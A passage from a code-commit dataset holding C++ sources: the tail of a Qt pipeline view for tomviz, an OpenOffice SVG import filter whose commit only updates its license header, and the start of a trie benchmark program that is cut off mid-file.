SLOT(rowActivated(QModelIndex)));\n  setIndentation(20);\n  setRootIsDecorated(false);\n  setItemsExpandable(false);\n\n  QString customStyle = \"QTreeView::branch { background-color: white; }\";\n  this->setStyleSheet(customStyle);\n  setAlternatingRowColors(true);\n  setSelectionBehavior(QAbstractItemView::SelectRows);\n\n  \/\/ track selection to update ActiveObjects.\n  connect(&ActiveObjects::instance(), SIGNAL(dataSourceChanged(DataSource*)),\n          SLOT(setCurrent(DataSource*)));\n  connect(&ActiveObjects::instance(), SIGNAL(moduleChanged(Module*)),\n          SLOT(setCurrent(Module*)));\n\n  connect(this, SIGNAL(doubleClicked(QModelIndex)),\n          SLOT(rowDoubleClicked(QModelIndex)));\n}\n\nPipelineView::~PipelineView() = default;\n\nvoid PipelineView::keyPressEvent(QKeyEvent* e)\n{\n  QTreeView::keyPressEvent(e);\n  if (e->key() == Qt::Key_Delete || e->key() == Qt::Key_Backspace) {\n    deleteItem(currentIndex());\n  }\n}\n\nvoid PipelineView::contextMenuEvent(QContextMenuEvent* e)\n{\n  auto idx = this->indexAt(e->pos());\n  if (!idx.isValid()) {\n    return;\n  }\n\n  auto pipelineModel = qobject_cast<PipelineModel*>(this->model());\n  auto dataSource = pipelineModel->dataSource(idx);\n  auto result = pipelineModel->result(idx);\n\n  bool childData =\n    (dataSource && qobject_cast<Operator*>(dataSource->parent())) ||\n    (result && qobject_cast<Operator*>(result->parent()));\n  if (childData) {\n    return;\n  }\n\n  QMenu contextMenu;\n  QAction* cloneAction = nullptr;\n  QAction* markAsAction = nullptr;\n  if (dataSource != nullptr) {\n    cloneAction = contextMenu.addAction(\"Clone\");\n    new CloneDataReaction(cloneAction);\n    if (dataSource->type() == DataSource::Volume) {\n      markAsAction = contextMenu.addAction(\"Mark as Tilt Series\");\n    } else {\n      markAsAction = contextMenu.addAction(\"Mark as Volume\");\n    }\n  }\n  QAction* deleteAction = contextMenu.addAction(\"Delete\");\n  auto globalPoint = mapToGlobal(e->pos());\n  QAction* selectedItem = contextMenu.exec(globalPoint);\n  \/\/ Some action was selected, so process it.\n  if (selectedItem == deleteAction) {\n    deleteItem(idx);\n  } else if (markAsAction != nullptr && markAsAction == selectedItem) {\n    QMainWindow* mainWindow = qobject_cast<QMainWindow*>(this->window());\n    ToggleDataTypeReaction::toggleDataType(mainWindow, dataSource);\n  }\n}\n\nvoid PipelineView::deleteItem(const QModelIndex& idx)\n{\n  auto pipelineModel = qobject_cast<PipelineModel*>(this->model());\n  Q_ASSERT(pipelineModel);\n  auto dataSource = pipelineModel->dataSource(idx);\n  auto module = pipelineModel->module(idx);\n  auto op = pipelineModel->op(idx);\n  if (dataSource) {\n    pipelineModel->removeDataSource(dataSource);\n  } else if (module) {\n    pipelineModel->removeModule(module);\n  } else if (op) {\n    pipelineModel->removeOp(op);\n  }\n  ActiveObjects::instance().renderAllViews();\n}\n\nvoid PipelineView::rowActivated(const QModelIndex& idx)\n{\n  if (idx.isValid() && idx.column() == 1) {\n    auto pipelineModel = qobject_cast<PipelineModel*>(this->model());\n    if (pipelineModel) {\n      if (auto module = pipelineModel->module(idx)) {\n        module->setVisibility(!module->visibility());\n        if (pqView* view = tomviz::convert<pqView*>(module->view())) {\n          view->render();\n        }\n      } else if (auto op = pipelineModel->op(idx)) {\n        pipelineModel->removeOp(op);\n        expandAll();\n      }\n    }\n  }\n}\n\nvoid PipelineView::rowDoubleClicked(const QModelIndex& idx)\n{\n  auto pipelineModel = qobject_cast<PipelineModel*>(this->model());\n  Q_ASSERT(pipelineModel);\n  if (auto op = pipelineModel->op(idx)) {\n    if (op->hasCustomUI()) {\n      \/\/ Create a non-modal dialog, delete it once it has been closed.\n      EditOperatorDialog* dialog = new EditOperatorDialog(\n        op, op->dataSource(), false, pqCoreUtilities::mainWidget());\n      dialog->setAttribute(Qt::WA_DeleteOnClose, true);\n      dialog->show();\n    }\n  } else if (auto result = pipelineModel->result(idx)) {\n    if (vtkTable::SafeDownCast(result->dataObject())) {\n      auto view = ActiveObjects::instance().activeView();\n      vtkNew<vtkSMParaViewPipelineControllerWithRendering> controller;\n      controller->ShowInPreferredView(result->producerProxy(), 0, view);\n    }\n  }\n}\n\nvoid PipelineView::currentChanged(const QModelIndex& current,\n                                  const QModelIndex&)\n{\n  if (!current.isValid()) {\n    return;\n  }\n  auto pipelineModel = qobject_cast<PipelineModel*>(model());\n  Q_ASSERT(pipelineModel);\n  auto dataSource = pipelineModel->dataSource(current);\n  auto module = pipelineModel->module(current);\n  if (dataSource) {\n    ActiveObjects::instance().setActiveDataSource(dataSource);\n  } else if (module) {\n    ActiveObjects::instance().setActiveModule(module);\n  }\n}\n\nvoid PipelineView::setCurrent(DataSource* dataSource)\n{\n  auto pipelineModel = qobject_cast<PipelineModel*>(model());\n  this->setCurrentIndex(pipelineModel->dataSourceIndex(dataSource));\n}\n\nvoid PipelineView::setCurrent(Module* module)\n{\n  auto pipelineModel = qobject_cast<PipelineModel*>(model());\n  this->setCurrentIndex(pipelineModel->moduleIndex(module));\n}\n\nvoid PipelineView::setCurrent(Operator*)\n{\n}\n}\n<|endoftext|>"}
{"text":"<commit_before> \/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: svgimport.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: rt $ $Date: 2006-12-01 14:31:12 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_filter.hxx\"\n\n#include \"svgfilter.hxx\"\n#include \"rtl\/ref.hxx\"\n#include \"jvmaccess\/virtualmachine.hxx\"\n\/\/ -------------\n\/\/ - SVGFilter -\n\/\/ -------------\n\nsal_Bool SVGFilter::implImport( const Sequence< PropertyValue >& rDescriptor )\n    throw (RuntimeException)\n{\n    Reference< XMultiServiceFactory >   xServiceFactory( ::comphelper::getProcessServiceFactory() ) ;\n    rtl::OUString                           aTmpFileName;\n    String                              aFileName;\n    sal_Int32                           nLength = rDescriptor.getLength();\n    const PropertyValue*                pValue = rDescriptor.getConstArray();\n    sal_Bool                            bRet = sal_False;\n\n    for( sal_Int32 i = 0 ; ( i < nLength ) && !aTmpFileName.getLength(); i++)\n        if( pValue[ i ].Name.equalsAscii( \"FileName\" ) )\n            pValue[ i ].Value >>= aTmpFileName;\n\n    if( aTmpFileName.getLength() && xServiceFactory.is() )\n    {\n\n        Reference< XJavaVM >    xJavaVM( xServiceFactory->createInstance( rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"com.sun.star.java.JavaVirtualMachine\") ) ), UNO_QUERY );\n        Sequence< sal_Int8 >    aProcessID( 17 );\n        String                  aLocalFile;\n\n        if( ::utl::LocalFileHelper::ConvertURLToPhysicalName( aTmpFileName, aLocalFile ) && aLocalFile.Len() )\n        {\n            rtl_getGlobalProcessId( (sal_uInt8 *) aProcessID.getArray() );\n            aProcessID[16] = 0;\n\n            OSL_ENSURE(sizeof (sal_Int64)\n                       >= sizeof (jvmaccess::VirtualMachine *),\n                       \"Pointer cannot be represented as sal_Int64\");\n            sal_Int64 nPointer = reinterpret_cast< sal_Int64 >(\n                static_cast< jvmaccess::VirtualMachine * >(0));\n            xJavaVM->getJavaVM(aProcessID) >>= nPointer;\n            rtl::Reference<jvmaccess::VirtualMachine> _virtualMachine =\n                reinterpret_cast< jvmaccess::VirtualMachine * >(nPointer);\n            if (!_virtualMachine.is())\n                return bRet;\n\n            jobjectArray    aArgs;\n            jclass          aClass;\n            jmethodID       aMId;\n            jstring         aJStr;\n\n            try\n            {\n                jvmaccess::VirtualMachine::AttachGuard vmGuard(_virtualMachine);\n\n                JNIEnv * pEnv = vmGuard.getEnvironment();\n\n                aClass = pEnv->FindClass( \"SOTranscoder\" );\n\n                if( aClass )\n                {\n                    aMId = pEnv->GetStaticMethodID( aClass, \"main\", \"([Ljava\/lang\/String;)V\" );\n                    if ( aMId )\n                    {\n\n                        ::utl::TempFile aTempFile;\n                        String          aOutputURL( aTempFile.GetURL() );\n                        String          aOutputFile;\n\n                        aTempFile.EnableKillingFile();\n\n                        if( ::utl::LocalFileHelper::ConvertURLToPhysicalName( aOutputURL, aOutputFile ) && aOutputFile.Len() )\n                        {\n                            aJStr = pEnv->NewStringUTF( ByteString( aLocalFile.GetBuffer(), RTL_TEXTENCODING_UTF8 ).GetBuffer() );\n                            aArgs = static_cast<jobjectArray>(pEnv->NewObjectArray( 2, pEnv->FindClass( \"java\/lang\/String\" ), aJStr ));\n                            aJStr = pEnv->NewStringUTF( ByteString( aOutputFile.GetBuffer(), RTL_TEXTENCODING_UTF8 ).GetBuffer() );\n                            pEnv->SetObjectArrayElement( aArgs, 1, aJStr );\n                            pEnv->CallStaticVoidMethod( aClass, aMId, aArgs );\n\n                            Graphic     aGraphic;\n                            SvStream*   pIStm = ::utl::UcbStreamHelper::CreateStream( aOutputURL, STREAM_READ );\n\n                            if( pIStm )\n                            {\n                                GraphicConverter::Import( *pIStm, aGraphic );\n                                delete pIStm;\n                            }\n\n                            Reference< XDrawPagesSupplier > xDrawPagesSupplier( mxDstDoc, UNO_QUERY );\n\n                            if( xDrawPagesSupplier.is() && ( aGraphic.GetType() != GRAPHIC_NONE ) )\n                            {\n                                Reference< XDrawPages > xDrawPages( xDrawPagesSupplier->getDrawPages() );\n\n                                if( xDrawPages.is() && xDrawPages->getCount() )\n                                {\n                                    Reference< XDrawPage >  xDrawPage;\n\n                                    if( xDrawPages->getByIndex( 0 ) >>= xDrawPage )\n                                    {\n                                        Reference< XShapes >        xShapes( xDrawPage, UNO_QUERY );\n                                        Reference< XPropertySet>    xPagePropSet( xDrawPage, UNO_QUERY );\n                                        Reference< XShape >         xShape( Reference< XMultiServiceFactory >( mxDstDoc, UNO_QUERY )->createInstance( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.drawing.GraphicObjectShape\" ) ) ), UNO_QUERY );\n\n                                        if( xPagePropSet.is() && xShapes.is() && xShape.is() )\n                                        {\n                                            Reference< XPropertySet >   xPropSet( xShape, UNO_QUERY );\n                                            sal_Int32                   nPageWidth = 0, nPageHeight = 0;\n\n                                            xPagePropSet->getPropertyValue( rtl::OUString(RTL_CONSTASCII_USTRINGPARAM( \"Width\" ) ) ) >>= nPageWidth;\n                                            xPagePropSet->getPropertyValue( rtl::OUString(RTL_CONSTASCII_USTRINGPARAM( \"Height\" ) ) ) >>= nPageHeight;\n\n                                            if( xPropSet.is() && nPageWidth && nPageHeight )\n                                            {\n                                                xShapes->add( xShape );\n\n                                                ::com::sun::star::awt::Point    aPos;\n                                                ::com::sun::star::awt::Size     aSize;\n                                                GraphicObject                   aGraphObj( aGraphic );\n                                                String                          aGraphURL( RTL_CONSTASCII_USTRINGPARAM( \"vnd.sun.star.GraphicObject:\" ) );\n                                                Any                             aValue;\n                                                Size                            aGraphicSize;\n                                                const MapMode                   aTargetMapMode( MAP_100TH_MM );\n\n                                                if( aGraphObj.GetPrefMapMode().GetMapUnit() == MAP_PIXEL )\n                                                    aGraphicSize = Application::GetDefaultDevice()->PixelToLogic( aGraphObj.GetPrefSize(), aTargetMapMode );\n                                                else\n                                                    aGraphicSize = OutputDevice::LogicToLogic( aGraphObj.GetPrefSize(), aGraphObj.GetPrefMapMode(), aTargetMapMode );\n\n                                                aGraphURL += String( aGraphObj.GetUniqueID(), RTL_TEXTENCODING_ASCII_US );\n                                                aValue <<= rtl::OUString( aGraphURL );\n                                                xPropSet->setPropertyValue( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"GraphicURL\" ) ), aValue );\n\n                                                aPos.X = ( nPageWidth - aGraphicSize.Width() ) >> 1;\n                                                aPos.Y = ( nPageHeight - aGraphicSize.Height() ) >> 1;\n\n                                                aSize.Width = aGraphicSize.Width();\n                                                aSize.Height = aGraphicSize.Height();\n\n                                                xShape->setPosition( aPos );\n                                                xShape->setSize( aSize );\n\n                                                bRet = sal_True;\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n            catch (jvmaccess::VirtualMachine::AttachGuard::CreationException &)\n            {\n            }\n        }\n    }\n    return bRet;\n}\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.8.216); FILE MERGED 2008\/03\/28 15:31:30 rt 1.8.216.1: #i87441# Change license header to LPGL v3.<commit_after> \/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: svgimport.cxx,v $\n * $Revision: 1.9 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_filter.hxx\"\n\n#include \"svgfilter.hxx\"\n#include \"rtl\/ref.hxx\"\n#include \"jvmaccess\/virtualmachine.hxx\"\n\/\/ -------------\n\/\/ - SVGFilter -\n\/\/ -------------\n\nsal_Bool SVGFilter::implImport( const Sequence< PropertyValue >& rDescriptor )\n    throw (RuntimeException)\n{\n    Reference< XMultiServiceFactory >   xServiceFactory( ::comphelper::getProcessServiceFactory() ) ;\n    rtl::OUString                           aTmpFileName;\n    String                              aFileName;\n    sal_Int32                           nLength = rDescriptor.getLength();\n    const PropertyValue*                pValue = rDescriptor.getConstArray();\n    sal_Bool                            bRet = sal_False;\n\n    for( sal_Int32 i = 0 ; ( i < nLength ) && !aTmpFileName.getLength(); i++)\n        if( pValue[ i ].Name.equalsAscii( \"FileName\" ) )\n            pValue[ i ].Value >>= aTmpFileName;\n\n    if( aTmpFileName.getLength() && xServiceFactory.is() )\n    {\n\n        Reference< XJavaVM >    xJavaVM( xServiceFactory->createInstance( rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"com.sun.star.java.JavaVirtualMachine\") ) ), UNO_QUERY );\n        Sequence< sal_Int8 >    aProcessID( 17 );\n        String                  aLocalFile;\n\n        if( ::utl::LocalFileHelper::ConvertURLToPhysicalName( aTmpFileName, aLocalFile ) && aLocalFile.Len() )\n        {\n            rtl_getGlobalProcessId( (sal_uInt8 *) aProcessID.getArray() );\n            aProcessID[16] = 0;\n\n            OSL_ENSURE(sizeof (sal_Int64)\n                       >= sizeof (jvmaccess::VirtualMachine *),\n                       \"Pointer cannot be represented as sal_Int64\");\n            sal_Int64 nPointer = reinterpret_cast< sal_Int64 >(\n                static_cast< jvmaccess::VirtualMachine * >(0));\n            xJavaVM->getJavaVM(aProcessID) >>= nPointer;\n            rtl::Reference<jvmaccess::VirtualMachine> _virtualMachine =\n                reinterpret_cast< jvmaccess::VirtualMachine * >(nPointer);\n            if (!_virtualMachine.is())\n                return bRet;\n\n            jobjectArray    aArgs;\n            jclass          aClass;\n            jmethodID       aMId;\n            jstring         aJStr;\n\n            try\n            {\n                jvmaccess::VirtualMachine::AttachGuard vmGuard(_virtualMachine);\n\n                JNIEnv * pEnv = vmGuard.getEnvironment();\n\n                aClass = pEnv->FindClass( \"SOTranscoder\" );\n\n                if( aClass )\n                {\n                    aMId = pEnv->GetStaticMethodID( aClass, \"main\", \"([Ljava\/lang\/String;)V\" );\n                    if ( aMId )\n                    {\n\n                        ::utl::TempFile aTempFile;\n                        String          aOutputURL( aTempFile.GetURL() );\n                        String          aOutputFile;\n\n                        aTempFile.EnableKillingFile();\n\n                        if( ::utl::LocalFileHelper::ConvertURLToPhysicalName( aOutputURL, aOutputFile ) && aOutputFile.Len() )\n                        {\n                            aJStr = pEnv->NewStringUTF( ByteString( aLocalFile.GetBuffer(), RTL_TEXTENCODING_UTF8 ).GetBuffer() );\n                            aArgs = static_cast<jobjectArray>(pEnv->NewObjectArray( 2, pEnv->FindClass( \"java\/lang\/String\" ), aJStr ));\n                            aJStr = pEnv->NewStringUTF( ByteString( aOutputFile.GetBuffer(), RTL_TEXTENCODING_UTF8 ).GetBuffer() );\n                            pEnv->SetObjectArrayElement( aArgs, 1, aJStr );\n                            pEnv->CallStaticVoidMethod( aClass, aMId, aArgs );\n\n                            Graphic     aGraphic;\n                            SvStream*   pIStm = ::utl::UcbStreamHelper::CreateStream( aOutputURL, STREAM_READ );\n\n                            if( pIStm )\n                            {\n                                GraphicConverter::Import( *pIStm, aGraphic );\n                                delete pIStm;\n                            }\n\n                            Reference< XDrawPagesSupplier > xDrawPagesSupplier( mxDstDoc, UNO_QUERY );\n\n                            if( xDrawPagesSupplier.is() && ( aGraphic.GetType() != GRAPHIC_NONE ) )\n                            {\n                                Reference< XDrawPages > xDrawPages( xDrawPagesSupplier->getDrawPages() );\n\n                                if( xDrawPages.is() && xDrawPages->getCount() )\n                                {\n                                    Reference< XDrawPage >  xDrawPage;\n\n                                    if( xDrawPages->getByIndex( 0 ) >>= xDrawPage )\n                                    {\n                                        Reference< XShapes >        xShapes( xDrawPage, UNO_QUERY );\n                                        Reference< XPropertySet>    xPagePropSet( xDrawPage, UNO_QUERY );\n                                        Reference< XShape >         xShape( Reference< XMultiServiceFactory >( mxDstDoc, UNO_QUERY )->createInstance( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.drawing.GraphicObjectShape\" ) ) ), UNO_QUERY );\n\n                                        if( xPagePropSet.is() && xShapes.is() && xShape.is() )\n                                        {\n                                            Reference< XPropertySet >   xPropSet( xShape, UNO_QUERY );\n                                            sal_Int32                   nPageWidth = 0, nPageHeight = 0;\n\n                                            xPagePropSet->getPropertyValue( rtl::OUString(RTL_CONSTASCII_USTRINGPARAM( \"Width\" ) ) ) >>= nPageWidth;\n                                            xPagePropSet->getPropertyValue( rtl::OUString(RTL_CONSTASCII_USTRINGPARAM( \"Height\" ) ) ) >>= nPageHeight;\n\n                                            if( xPropSet.is() && nPageWidth && nPageHeight )\n                                            {\n                                                xShapes->add( xShape );\n\n                                                ::com::sun::star::awt::Point    aPos;\n                                                ::com::sun::star::awt::Size     aSize;\n                                                GraphicObject                   aGraphObj( aGraphic );\n                                                String                          aGraphURL( RTL_CONSTASCII_USTRINGPARAM( \"vnd.sun.star.GraphicObject:\" ) );\n                                                Any                             aValue;\n                                                Size                            aGraphicSize;\n                                                const MapMode                   aTargetMapMode( MAP_100TH_MM );\n\n                                                if( aGraphObj.GetPrefMapMode().GetMapUnit() == MAP_PIXEL )\n                                                    aGraphicSize = Application::GetDefaultDevice()->PixelToLogic( aGraphObj.GetPrefSize(), aTargetMapMode );\n                                                else\n                                                    aGraphicSize = OutputDevice::LogicToLogic( aGraphObj.GetPrefSize(), aGraphObj.GetPrefMapMode(), aTargetMapMode );\n\n                                                aGraphURL += String( aGraphObj.GetUniqueID(), RTL_TEXTENCODING_ASCII_US );\n                                                aValue <<= rtl::OUString( aGraphURL );\n                                                xPropSet->setPropertyValue( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"GraphicURL\" ) ), aValue );\n\n                                                aPos.X = ( nPageWidth - aGraphicSize.Width() ) >> 1;\n                                                aPos.Y = ( nPageHeight - aGraphicSize.Height() ) >> 1;\n\n                                                aSize.Width = aGraphicSize.Width();\n                                                aSize.Height = aGraphicSize.Height();\n\n                                                xShape->setPosition( aPos );\n                                                xShape->setSize( aSize );\n\n                                                bRet = sal_True;\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n            catch (jvmaccess::VirtualMachine::AttachGuard::CreationException &)\n            {\n            }\n        }\n    }\n    return bRet;\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>- comment out references to bx_callback, which is no longer used<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"time-watch.h\"\n\n#include <taiju\/line-reader.h>\n#include <taiju\/trie-builder.h>\n#include <taiju\/trie.h>\n#include <taiju\/trie-converter-factory.h>\n#include <taiju\/trie-factory.h>\n\n#include <algorithm>\n#include <cstdio>\n#include <cstring>\n#include <exception>\n#include <fstream>\n#include <iostream>\n#include <memory>\n#include <set>\n#include <sstream>\n#include <vector>\n\nstatic taiju::BuilderConfig taiju_config;\n\nvoid read_keys(std::istream *in, std::vector<std::string> *keys)\n{\n\tstd::cerr << \"reading keys...\" << std::endl;\n\ttaiju::TimeWatch watch;\n\n\ttaiju::LineReader reader;\n\treader.open(in);\n\n\tconst char *key;\n\tstd::size_t length;\n\twhile (reader.read(&key, &length))\n\t{\n\t\tif (length > 0)\n\t\t\tkeys->push_back(key);\n\n\t\tif (keys->size() % 100000 == 0)\n\t\t{\n\t\t\tstd::cerr << \"\\rkeys: \" << keys->size()\n\t\t\t\t<< \", time: \" << watch.elapsed() << \"s  \";\n\t\t}\n\t}\n\tstd::cerr << \"\\rkeys: \" << keys->size()\n\t\t<< \", time: \" << watch.elapsed() << 's' << std::endl;\n}\n\nvoid sort_keys(std::vector<std::string> *keys)\n{\n\tstd::cerr << \"sorting keys...\" << std::endl;\n\ttaiju::TimeWatch watch;\n\n\tstd::sort(keys->begin(), keys->end());\n\tkeys->erase(std::unique(keys->begin(), keys->end()), keys->end());\n\n\tstd::cerr << \"keys: \" << keys->size()\n\t\t<< \", time: \" << watch.elapsed() << 's' << std::endl;\n}\n\nvoid randomize_keys(const std::vector<std::string> &keys,\n\tstd::vector<std::string> *rand_keys)\n{\n\tstd::cerr << \"randomizing keys...\" << std::endl;\n\ttaiju::TimeWatch watch;\n\n\tstd::vector<std::string>(keys).swap(*rand_keys);\n\tstd::random_shuffle(rand_keys->begin(), rand_keys->end());\n\n\tstd::cerr << \"time: \" << watch.elapsed() << 's' << std::endl;\n}\n\nvoid build_trie(const std::vector<std::string> &keys, taiju::Trie *trie)\n{\n\tstd::cerr << \"building a trie...\" << std::endl;\n\ttaiju::TimeWatch watch;\n\n\ttaiju::TrieBuilder builder;\n\tbuilder.open(taiju_config);\n\tfor (std::size_t i = 0; i < keys.size(); ++i)\n\t{\n\t\tbuilder.append(keys[i].c_str(), keys[i].length());\n\t\tif (builder.num_keys() % 100000 == 0)\n\t\t{\n\t\t\tstd::cerr << \"\\rkeys: \" << builder.num_keys()\n\t\t\t\t<< \", nodes: \" << builder.num_nodes()\n\t\t\t\t<< \", bytes: \" << builder.size()\n\t\t\t\t<< \", time: \" << watch.elapsed() << \"s  \";\n\t\t\tif (builder.num_keys() % 10000000 == 0)\n\t\t\t\tstd::cerr << '\\n';\n\t\t}\n\t}\n\tbuilder.finish();\n\tstd::cerr << \"\\rkeys: \" << builder.num_keys()\n\t\t<< \", nodes: \" << builder.num_nodes()\n\t\t<< \", bytes: \" << builder.size()\n\t\t<< \", time: \" << watch.elapsed() << 's' << std::endl;\n\n\tstd::stringstream stream;\n\tbuilder.write(&stream);\n\tbuilder.clear();\n\ttrie->read(&stream);\n}\n\nstd::auto_ptr<taiju::TrieBase> convert_trie(const taiju::Trie &src_trie,\n\tconst std::vector<std::string> &keys)\n{\n\ttaiju::TimeWatch watch;\n\n\tstd::auto_ptr<taiju::TrieConverterBase> converter(\n\t\ttaiju::TrieConverterFactory::Create(taiju_config));\n\tstd::printf(\" %10s\", converter->type_name());\n\n\tconverter->convert(src_trie);\n\n\t\/\/ Note that the size of BP_TRIE or DFUDS_TRIE will be fixed in\n\t\/\/ the member function write().\n\tstd::stringstream stream;\n\tconverter->write(&stream);\n\tconverter->clear();\n\n\tstd::auto_ptr<taiju::TrieBase> dest_trie(\n\t\ttaiju::TrieFactory::read(&stream));\n\n\tstd::printf(\" %7llukb %8.2fus\", dest_trie->size() \/ 1000,\n\t\t1e+6 * watch.elapsed() \/ keys.size());\n\n\treturn dest_trie;\n}\n\nvoid find_keys(const taiju::TrieBase &trie,\n\tconst std::vector<std::string> &keys)\n{\n\ttaiju::TimeWatch watch;\n\n\tfor (std::size_t i = 0; i < keys.size(); ++i)\n\t{\n\/\/\t\ttaiju::UInt64 key_id;\n\/\/\t\tif (!trie.find(keys[i].c_str(), keys[i].length(), &key_id))\n\t\tif (!trie.find(keys[i].c_str(), keys[i].length()))\n\t\t{\n\t\t\tstd::cerr << \"error: failed to find a key: \"\n\t\t\t\t<< keys[i] << std::endl;\n\t\t\treturn;\n\t\t}\n\t}\n\n\tstd::printf(\" %7.2fus\", 1e+6 * watch.elapsed() \/ keys.size());\n}\n\nvoid benchmark_trie(taiju::TrieType trie_type, const taiju::Trie &src_trie,\n\tconst std::vector<std::string> &keys,\n\tconst std::vector<std::string> &rand_keys)\n{\n\ttaiju_config.set_trie_type(trie_type);\n\tstd::auto_ptr<taiju::TrieBase> dest_trie(convert_trie(src_trie, keys));\n\n\tfind_keys(*dest_trie, keys);\n\tfind_keys(*dest_trie, rand_keys);\n\n\tstd::printf(\"\\n\");\n}\n\nvoid benchmark_baseline(\tconst std::vector<std::string> &keys,\n\tconst std::vector<std::string> &rand_keys)\n{\n\ttaiju::TimeWatch watch;\n\n\tstd::printf(\" %10s %9s\", \"std::set\", \"\");\n\tstd::set<std::string> set(rand_keys.begin(), rand_keys.end());\n\tstd::printf(\" %8.2fus\", 1e+6 * watch.elapsed() \/ set.size());\n\n\twatch.reset();\n\tfor (std::size_t i = 0; i < keys.size(); ++i)\n\t\tset.find(keys[i]);\n\tstd::printf(\" %7.2fus\", 1e+6 * watch.elapsed() \/ keys.size());\n\n\twatch.reset();\n\tfor (std::size_t i = 0; i < rand_keys.size(); ++i)\n\t\tset.find(rand_keys[i]);\n\tstd::printf(\" %7.2fus\", 1e+6 * watch.elapsed() \/ rand_keys.size());\n\n\tstd::printf(\"\\n\");\n}\n\nvoid benchmark_tries(const taiju::Trie &trie,\n\tconst std::vector<std::string> &keys,\n\tconst std::vector<std::string> &rand_keys)\n{\n\tstd::printf(\"+----------+---------+----------+-------------------+\\n\");\n\tstd::printf(\" %10s %9s %10s %19s\\n\",\n\t\t\"\", \"\", \"conversion\", \"lookup time\");\n\tstd::printf(\" %10s %9s %10s %9s %9s\\n\",\n\t\t\"type\", \"size\", \"time\", \"sorted\", \"random\");\n\tstd::printf(\"+----------+---------+----------+-------------------+\\n\");\n\n\tbenchmark_baseline(keys, rand_keys);\n\tbenchmark_trie(taiju::PODS_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::LOB_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::LOUDS_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::PLOUDS_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::BP_TRIE, trie, keys, rand_keys);\n\tbenchmark_trie(taiju::DFUDS_TRIE, trie, keys, rand_keys);\n\n\tstd::printf(\"+----------+---------+----------+-------------------+\\n\");\n}\n\nint main(int argc, char *argv[])\n{\n\ttry\n\t{\n\t\ttaiju_config.parse(argc, argv, &argc);\n\t}\n\tcatch (...)\n\t{\n\t\tstd::cerr << taiju::BuilderConfig::help() << std::endl;\n\t\treturn 1;\n\t}\n\n\ttry\n\t{\n\t\tstd::vector<std::string> keys;\n\t\tif (argc > 1 && std::strcmp(argv[1], \"-\") != 0)\n\t\t{\n\t\t\tstd::ifstream file(argv[1], std::ios::binary);\n\t\t\tif (!file)\n\t\t\t\tTAIJU_THROW(\"failed to open input file\");\n\t\t\tread_keys(&file, &keys);\n\t\t}\n\t\telse\n\t\t\tread_keys(&std::cin, &keys);\n\n\t\tsort_keys(&keys);\n\n\t\tstd::vector<std::string> rand_keys;\n\t\trandomize_keys(keys, &rand_keys);\n\n\t\ttaiju::Trie trie;\n\t\tbuild_trie(keys, &trie);\n\n\t\tbenchmark_tries(trie, keys, rand_keys);\n\t}\n\tcatch (const std::exception &ex)\n\t{\n\t\tstd::cerr << ex.what() << std::endl;\n\t\treturn 2;\n\t}\n\n\treturn 0;\n}\n<commit_msg>The new taiju-benchmark shows the performance of the original PODS if the node order is not the default (ASCENDING_LABEL_ORDER or LABEL_ORDER).<commit_after>#include \"time-watch.h\"\n\n#include <taiju\/line-reader.h>\n#include <taiju\/trie-builder.h>\n#include <taiju\/trie.h>\n#include <taiju\/trie-converter-factory.h>\n#include <taiju\/trie-factory.h>\n\n#include <algorithm>\n#include <cstdio>\n#include <cstring>\n#include <exception>\n#include <fstream>\n#include <iostream>\n#include <memory>\n#include <set>\n#include <sstream>\n#include <vector>\n\nstatic taiju::BuilderConfig taiju_config;\n\nvoid read_keys(std::istream *in, std::vector<std::string> *keys)\n{\n\tstd::cerr << \"reading keys...\" 